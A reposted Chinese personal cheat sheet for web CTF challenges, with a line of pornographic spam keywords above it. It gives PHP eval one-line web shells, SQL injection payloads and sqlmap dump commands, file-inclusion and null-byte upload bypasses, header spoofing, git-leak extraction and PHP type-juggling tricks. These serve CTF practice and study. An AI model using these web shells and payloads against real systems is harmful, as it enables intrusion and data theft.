日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CTF个人总结指南(更新中)

發布時間:2023/12/31 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF个人总结指南(更新中) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
XCTF總結:
  • 查看源碼
    ctrl+U
    F12
    view-source:
    Burpsuite

  • robots.txt

  • 掃描目錄腳本:桌面dirsearch-master
    命令:C:\Users\Yuen>python C:\Users\Yuen\Desktop\dirsearch-master\dirsearch.py -u http://111.198.29.45:50014/ -e *

  • 常見備份文件名
    .git
    .svn
    .swp
    .~
    .bak
    .bash_history

  • 注意cookie

  • 有些頁面需要達到條件才能拿到flag,可以試試查看前端代碼,并修改

  • X-Forwarded-For:123.123.123.123/Referer:https://www.google.com

  • 遇到登陸賬號密碼的,用bp進行爆破

  • 常用一句話

<?php @eval($_GET['cmd']); ?> <?php @eval($_POST['cmd']); ?> <?php @eval($_REQUEST['cmd']); ?>
  • 命令執行

command1 & command2 :不管command1執行成功與否,都會執行command2
command1 && command2 :先執行command1執行成功后才會執行command2 ,若command1執行失敗,則不執行command2
command1 | command2 :只執行command2(將上一個命令的輸出作為下一個命令的輸入)
command1 || command2 :command1執行失敗,再執行command2(若command1執行成功,就不再執行command2)

  • sqlmap爆破
    (1)全爆
    sqlmap -u “www.example” --dbs
    sqlmap -r xctfrequest.txt --dbs
    sqlmap -r xctfrequest.txt -D news --dump
    (2)慢慢爆
-D 數據庫 -T 表名 -C 字段名 --dump
  • git泄露
    url訪問:http://111.198.29.45:46634/.git/,出現泄露的文件,因此得出存在git文件泄露
    腳本:python GitHack.py http://111.198.29.45:31555/.git/

  • chrome://downloads,恢復惡意文件

  • 下載到附件后,查看代碼可以根據代碼內容修改后綴名查看

  • 瀏覽器會自動對url進行一次解碼,有時需要兩次編碼

  • 序列化和反序列化

serialize() unserialize() O:4:"xctf":1:{s:4:"flag";s:3:"111";} __wakeup()函數漏洞原理:當序列化字符串表示對象屬性個數的值大于真實個數的屬性時就會跳過__wakeup的執行。因此,需要修改序列化字符串中的屬性個數 序列化字符串各部分簡單釋義: O代表結構類型為:類:4表示類名長度:接著是類名:屬性(成員)個數 大括號內分別是:屬性名類型;長度:名稱:值類型:長度:值
  • intval函數
    去除小數點(0除外)的函數

注:

  • 源碼看不出東西就抓包,有些進行url超鏈接的需要抓包

  • POST提交數據:需要在最后一行添加Content-Type: application/x-www-form-urlencoded

  • find / -name flag.txt

  • 有時候有id=xx并不是一定存在sql注入,而是存在id的爆破,多多嘗試

  • copy 1.jpg/b + 1.php/a 11.jpg

  • ==是判斷返回true還是false

  • 一定仔細看題目,那就是提示

  • extract(),查詢php官網得知這個函數會將參數里數組的鍵名當作變量名,值作為變量的值。

  • 上傳時的1.php.jpg的00截斷和Content-Type:

CG-CTF總結:
  • 修改前端代碼長度
  • 圖片源碼查看可能有flag
  • 源碼頁面層層遞進
  • 文字編碼后,打開新txt,之后以Unicode格式保存(右鍵另存為),之后再放入控制臺運行
  • 頁面存在超鏈接,注意真正的鏈接會被重定向,考慮查看源代碼或者使用bp
  • 文件包含偽協議php://filter/read=convert.base64-encode/resource=index.php
  • 修改cookie
  • robots.txt
  • 引號被轉義,可以使用%df和\合成運,注釋符可以是%23(#如果被過濾的話就url編碼)或者–+
  • ereg()函數%00截斷
    ereg()在匹配字串是檢測到%00會停止,而strpos()會繼續,故構造nctf=1%00%23biubiubiu即可得到flag(%23因為瀏覽器會自動解嗎一次,只使用#會被瀏覽器自動解碼成空)
  • php弱類型
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
  • post變量覆蓋
    register_global=ON時POST傳入數據值會覆蓋掉php中變量值,源碼中對post數據進行了extract()處理,extract()函數會將數組中的值賦給對應索引
  • 1.php%00截斷不行,就把%00替換為空格標記該位置,在16進制中找到對應的位置,把20(空格的16進制是20)改為00截斷
  • sql注入有源碼給你看時,可能需要構造payload
正如下面user需要等于admin if($_POST[user] && $_POST[pass]) $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";//$user帶進去后,這里的雙引號就會消失的 構造語句:user=admin')#&pass=1111
  • strcmp()弱類型,傳入數組時會返回null。所以post的數據為pass[]=1可以獲取flag,pass=aa[]是不行的,必須要在參數pass后面加[]
  • 本地登錄:抓包添加Client-ip:127.0.0.1或x-forwarded-for:127.0.0.1
  • 讓兩個數相等,要實現繞過還是可以使用16進制=10進制,十進制轉16進制最好用python腳本,工具的轉的hex(16進制不行)
  • sql注入:clean()函數去掉轉義,htmlentities($str, ENT_QUOTES)會轉換單引號和雙引號。這里我們只能通過引入反斜杠,轉義原有的單引號,改變原sql語句的邏輯,導致sql注入
    payload如下:?username=&password=%20or%201%23
  • 遇到一大串代碼,就放到控制臺里運行,亂碼的話就先右鍵保存,轉碼后再放入控制臺,也要注意請求頭,響應頭有沒有提示
    如遇到history of bash,則url目錄后訪問/.bash_history,最后如果出現zip就下載
    例:
    zip -r mydata.zip mydata #壓縮mydata目錄 壓縮成 mydata.zip 文件
    unzip mydata.zip -d mydatabak #解壓mydata.zip 解壓到mydatabak目錄下
  • union前面的語句查詢不成功的時候會執行后面的語句
  • vim這個東西異常退出時會留下臨時文件常常是.swp、.swo格式。或者可能會留下備份文件~結尾文件,所以可以尋找action文件,例如是submit.php,之后在原本action的基礎上加.sumbit.php.swp來查看submint.php的源碼
  • 判斷:0e11='0' //true 判斷:000000...n個0='0' //true
  • 偽協議php://input訪問請求的原始數據的只讀流,如果無法顯示flag就使用bp來進行post請求
  • 變量覆蓋:foreach(name=meizijiu233 as $key => $value) //$key=name,$value=meizijiu233

注:PHP所使用的preg_match()函數從用戶輸入字符串獲得參數,如果所傳送的值為數組而不是字符串就會生成警告,警告消息中包含有當前運行腳本的完整路徑
application/octet-stream 未知的應用程序文件

application/json json數據

text/plain 未知的文本文件(純文本文件),瀏覽器會認為這是可以直接顯示的

注:瀏覽器分辨文件是基于MIME的,而不會把文件打開查看是否是其他類型,例如用link鏈接了一個標記為text/plain的文件,就算此文件是css文件,就算其后綴是.css,瀏覽器依舊不認

text/css css文件

text/html HTML文件

image/gif gif文件

總結

以上是生活随笔為你收集整理的CTF个人总结指南(更新中)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。